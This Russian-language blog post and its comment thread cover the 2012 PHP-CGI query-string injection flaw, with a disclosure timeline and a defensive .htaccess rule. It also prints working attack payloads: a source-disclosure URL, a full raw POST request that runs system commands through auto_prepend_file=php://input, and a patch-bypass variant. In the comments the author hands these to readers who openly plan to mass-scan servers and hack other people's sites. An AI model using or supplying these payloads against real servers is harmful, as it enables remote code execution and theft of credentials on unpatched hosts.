Выполнение произвольного кода на серверах с PHP CGI

Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

13.01 — в ходе Nullcon HackIM CTF Eindbazen случайно находят 0day-уязвимость в PHP;
17.01 — Eindbazen отправляют баг-репорт разработчикам PHP;
03.05 — тикет в багтрекере PHP по непонятным причинам становится общедоступным, сведения об уязвимости появляются на reddit.com;
03.05 — в блоге Eindbazen появляется пост с PoC для просмотра исходного кода PHP-скрипта
04.05 — публикуется патч, «закрывающий» уязвимость
04.05 — тут же обнаруживается, что патч можно обойти; выпускается патч для патча, причем разработчики PHP не пишут, что нужно скачать новый патч. Все, кто скачал уязвимый патч думают, что уязвимость закрыта.
04.05 — в Metasploit появляется Remote Code Execution эксплоит.

Больше всего удивляют действия разработчиков PHP. В течение трех месяцев с момента багрепорта они так и не разработали решения устранения уязвимости, продолжая при этом выпускать новые версии PHP. О тикете, случайно ставшим публичным, думаю, вообще говорить нечего. Финал этой драматичной истории с выпуском патча на патч не кажется таким уж и непредсказуемым.

Просмотр исходного кода

/index.php?-s

Выполнение произвольного кода из Metasploit

/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
POST: phpinfo();

Уязвимость распространяется на все сервера, где PHP работает как CGI-модуль; сервера с FastCGI не подвержены. Уязвимыми оказались целые хостинги, например мой хостер agava.ru. Вчера на любом их сайте, включая и здесь, можно было выполнить любой код и не только. Например, обращение по http://blog.agava.ru/wp-config.php?-s любезно предоставляло данные для подключения к базе данных:

Что делать?

Решить проблему может выпущенный патч, хотя вполне вероятно, что в будущем найдется обход и для него. На Suhosin patch также не стоит полагаться, так как для его обхода достаточно лишь указать параметр -n, и PHP-скрипт выполнится без учета директив в php.ini. Самый простой способ защититься — использовать .htaccess со следующими правилами:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]


27 comments:

  1. Kuzya, 5. Май 2012, 16:31

    Жесть какая. Апокалипсис грядёт)
    Надеюсь с портами патчей не будут тянуть производители основных дистрибутивов типа Ubuntu, FreeBSD, Fedora Core.

     
  2. cat1vo, 6. Май 2012, 14:03

    Теперь каждый школьник станет хакером! :-)

     
  3. HighExceL, 7. Май 2012, 15:04

    Собственно вопрос очевидны. есть ли доорк под подобную вещь. да и вообще как можно найти уязвимые сервачки имея пучку урлов?

     
  4. Raz0r, 7. Май 2012, 15:25

    Дорка нет, каждый сервер нужно смотреть отдельно. Определить уязвимо или нет — нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

     
  5. HighExceL, 7. Май 2012, 15:34

    Можно хоть один сервачек для примера?

     
  6. Raz0r, 7. Май 2012, 15:47

    Здесь я не буду выкладывать адреса, видел на античате постили ссылки.

     
  7. xxx, 7. Май 2012, 18:03

    Почему бага работает на серваках и с FastCGI ?

     
  8. Bo0oM, 7. Май 2012, 19:33
  9. Raz0r, 7. Май 2012, 19:56

    @xxx в FastCGI параметры через stdin вообще не передаются, по идее не должно работать

     
  10. stalker37, 9. Май 2012, 7:25

    Мда, конечно… Сколько раз видел ситуации типа такой, столько же раз удивляюсь на производителей ПО: ну почему нельзя постараться исправить все как можно быстрее вместо того, чтобы тупить несколько месяцев и выпустить патч, который тоже нужно патчить.

     
  11. xxx, 9. Май 2012, 13:41

    @Raz0r,

    тем не менее, бага сработала — залил шелл, в phpinfo — fastCGI

     
  12. xbv, 16. Май 2012, 0:27

    @Raz0r

    Какой запрос и вообще как это заюзать?

     
  13. xbv, 16. Май 2012, 0:27

    – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

    плиз подробнее можно?

     
  14. Raz0r, 16. Май 2012, 11:44

    @xbv

    POST /index.php?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dphp%3a%2f%2finput HTTP/1.1
    Host: site.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28
    Connection: close
    
    <?php system("uname -a"); ?>
    
     
  15. xbv, 16. Май 2012, 17:18

    А чес посылать запрос удобнее всего?

     
  16. Raz0r, 16. Май 2012, 17:20
  17. xbv, 16. Май 2012, 17:55

    thank bro

     
  18. P1r0t3xn1k, 11. Июнь 2012, 13:13

    А каков % уязвимых сервачков в данный момент?

    Подумываю написать конвеер.

     
  19. Raz0r, 11. Июнь 2012, 13:25

    Уже поздно :)

     
  20. P1r0t3xn1k, 11. Июнь 2012, 13:51

    Всмысле все они пофикшены?

     
  21. Raz0r, 11. Июнь 2012, 13:54

    Не все конечно, но большая часть да.

     
  22. P1r0t3xn1k, 11. Июнь 2012, 13:57

    Можете дать пример уязвимого?

    Например с багой nginx (которая shell.gif/.php) досихпор встречаются сервера.

    Кстате, после первого патча был найден обход, а можно пример обхода?
    Тоесть там вообще 3 патча вышло вроде как.

     
  23. Raz0r, 11. Июнь 2012, 14:10

    >>Можете дать пример уязвимого?
    Здесь я не выкладываю ссылки на уязвимые сайты.

    >>а можно пример обхода?
    Для обхода нужно, чтобы в запросе присутствовало %3D
    /index.php?-s+%3D

    >>Тоесть там вообще 3 патча вышло вроде как.
    Да

     
  24. P1r0t3xn1k, 11. Июнь 2012, 14:12

    Тоесть /index.php?-s+%3D — универсально?

    Я имею ввиду что будет работать под не падченной системой, и под первым патчем одновременно? Или же прийдется делать 2 проверки?

     
  25. Raz0r, 11. Июнь 2012, 14:31

    По идее универсально, но если писать автомат, то нужно использовать второй вектор, а там %3D и так есть.

     
  26. P1r0t3xn1k, 11. Июнь 2012, 17:18

    Спасибо!

     
  27. AntonMK, 30. Декабрь 2012, 16:34

    Огромное спасибо теперь чужие фейки буду ломать

     

Write a comment: